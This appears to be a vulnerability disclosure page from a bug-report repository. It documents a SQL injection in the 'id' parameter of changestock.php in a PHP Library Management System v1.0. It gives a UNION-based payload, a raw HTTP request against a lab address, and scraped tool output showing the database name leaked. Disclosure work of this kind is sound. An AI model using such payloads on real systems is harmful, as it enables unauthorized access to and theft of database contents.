ꙮ main ⌄   …

bug_report / vendors / kingbhob02 / library-management-system / **SQLi-10.md**

🐕 **debug601** Create SQLi-10.md   ⟲ History

🕰 **1 contributor**

25 lines (18 sloc) │ 1.04 KB   …

Library Management System v1.0 by kingbhob02 has SQL injection

vendors: https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /LMS/admin/changestock.php

Vulnerability location: /LMS/admin/changestock.php?id=, id

[+] Payload: /LMS/admin/changestock.php?
id=1%27%20union%20select%201,2,database(),4,5,6,7,8,9,10--+ // Leak place ---> id

```
GET /LMS/admin/changestock.php?id=1%27%20union%20select%201,2,database(),4,5,6,7,8,9
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: _ga=GA1.1.1382961971.1655097107; PHPSESSID=7v8p4p3goshl3b4fkncu3bh9ui
Connection: close
```

INT

SQL BASICS▾ UNION BASED▾ ERROR/DOUBLE QUERY▾ TOOLS▾ WAF BYPASS▾ ENCODING▾ HTML▾ ENCRYPTION▾ OTHER▾ XSS▾ LFI▾

Load URL · http://192.168.1.19/LMS/admin/changestock.php?id=1%27%20union%20select%201,2,database(),4,5,6,7,8,9,10--+
Split URL
Execute

☐ Post data ☐ Referrer ◀ 0xHEX ▶ ◀ %URL ▶ ◀ BASE64 ▶ [Insert string to replace] [Insert replacing string] ☑ Replace All ▶

LMS

 Home

 Visit Hours

 Messages

 Recieve Message

 Manage Students

 All Books

 Add Books

Update Book Details

Book Section: [▾]

Subject [lms]

Textbook [4]

Copyright Year [6]

Volume [5]